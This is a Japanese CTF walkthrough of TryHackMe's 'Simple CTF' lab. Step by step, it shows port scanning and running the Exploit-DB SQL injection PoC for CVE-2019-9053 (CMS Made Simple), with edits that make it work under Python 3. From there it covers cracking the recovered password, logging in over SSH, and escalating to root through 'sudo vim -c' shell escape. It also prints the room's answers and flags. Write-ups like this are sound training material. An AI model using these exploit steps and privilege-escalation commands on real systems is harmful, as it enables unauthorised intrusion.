【TryHackMe】Simple CTF：Walkthrough

# 概要

TryHackMe「Simple CTF」のWalkthroughです。

https://tryhackme.com/r/room/easyctf

# Task1

## **Q1**.*How many services are running under port 1000?*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.211.12
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 03:05 EDT
Nmap scan report for 10.10.211.12
Host is up (0.24s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.80 seconds
```

`ftp:21`,`http:80`,`ssh:2222`番ポートがオープンになっているのを確認しました。

**A**.**2**

## **Q2**.*What is running on the higher port?*

ポートスキャンの結果から`ssh`が`2222`番ポートで動作しているのを確認できました。

**A**.**ssh**

## **Q3**.*What's the CVE you're using against the application?*

`80`番で`http`が動いているのでディレクトリの列挙をします。

```
$ dirsearch -u http://10.10.211.12
```

`/robots.txt`と`/simple`を発見しました。

```
[03:20:29] 200 -  540B  - /robots.txt
[03:20:34] 301 -  313B  - /simple  ->  http://10.10.211.12/simple/ 
```

`/robots.txt`はめぼしいものないかな。

![robots.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f65aa47b-cc35-342b-3094-d7ee8a11d1b6.png)

`/simple`へアクセスしてみると、`CMS Made Simple`で作成されたページが出てきた。

![simple.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7aa96b77-e12c-4cb0-d0f0-e5080d857a03.png)

フッターからバージョンを確認できました。

![simple version.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c4277de4-1988-bb72-bc3f-a23b6369265b.png)

`searchsploit`でCVEを検索します。

```
$ searchsploit CMS Simple 2.2.8
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection                                           | php/webapps/46635.py
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

PoCコードからCVEを確認できました。

```
$ cat /usr/share/exploitdb/exploits/php/webapps/46635.py
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
```

- **Exploit DB**

https://www.exploit-db.com/exploits/46635

**A**.**CVE-2019-9053**

## **Q4**.*To what kind of vulnerability is the application vulnerable?*

**Hint**.*You can use /usr/share/seclists/Passwords/Common-Credentials/best110.txt to crack the pass*

SQL Injectionの脆弱性があります。

**A**.**sqli**

## **Q5**.*What's the password?*

コードから必要なオプションを確認します。

```/usr/share/exploitdb/exploits/php/webapps/46635.py
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
```

:::note warn
このPoCコードはpython2.xで書かれていますが、適宜編集すればpython3.xでも動作しました。

- **変更前**

```/usr/share/exploitdb/exploits/php/webapps/46635.py
25 print "[+] Specify an url target"
26 print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
27 print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
28 print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
```

```/usr/share/exploitdb/exploits/php/webapps/46635.py
56 if hashlib.md5(str(salt) + line).hexdigest() == password:
```

- **変更後**

```/usr/share/exploitdb/exploits/php/webapps/46635.py
25 print ("[+] Specify an url target")
26 print ("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
27 print ("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
28 print ("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
```

```/usr/share/exploitdb/exploits/php/webapps/46635.py
56 if hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest() == password:
```
:::

クレデンシャル情報を取得出来ました。

```
$ python3 /usr/share/exploitdb/exploits/php/webapps/46635.py -u http://10.10.211.12/simple -w /usr/share/seclists/Passwords/Common-Credentials/best110.txt --crack
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
```

**A**.**secret**

## **Q6**.*Where can you login with the details obtained?*

入手した認証情報でSSH接続が出来ました。

```
$ ssh -p 2222 mitch@10.10.211.12
```
**A**.**ssh**

## **Q7**.*What's the user flag?*

カレントディレクトリの`user.txt`から答えをゲットできました。

```
$ ls -l
total 4
-rw-rw-r-- 1 mitch mitch 19 aug 17  2019 user.txt
$ cat user.txt  
G00d j0b, keep up!
```

**A**.**G00d j0b, keep up!**

## **Q8**.*Is there any other user in the home directory? What's its name?*

`/home`ディレクトリ配下には他に`sunbath`がありました。

```
$ ls -l /home
total 8
drwxr-x---  3 mitch   mitch   4096 aug 19  2019 mitch
drwxr-x--- 16 sunbath sunbath 4096 aug 19  2019 sunbath
```

**A**.**sunbath**

## **Q9**.*What can you leverage to spawn a privileged shell?*

`vim`がパスワードなしの`root`権限で実行できるようになっていることを確認しました。

```
$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
```

:::note info
`sudo -l`についての記事を投稿したので併せてご覧ください。
[【ハッキング入門】sudo -lで権限昇格への足掛かりにする](https://qiita.com/kk0128/items/2d39ecacb0fa7a654b94)
:::


**A**.**vim**

## **Q10**.*What's the root flag?*

`GTFOBins`を参考に権限昇格を試みます。

https://gtfobins.github.io/gtfobins/vim/

`root`のシェルを取得できました。

```
$ sudo vim -c ':!/bin/sh'
# whoami 
root
```

`/root/root.txt`を発見したので閲覧して答えをゲットできました！

```
# ls -l /root
total 4
-rw-r--r-- 1 root root 24 aug 17  2019 root.txt
# cat /root/root.txt
W3ll d0n3. You made it!
```

**A**.**W3ll d0n3. You made it!**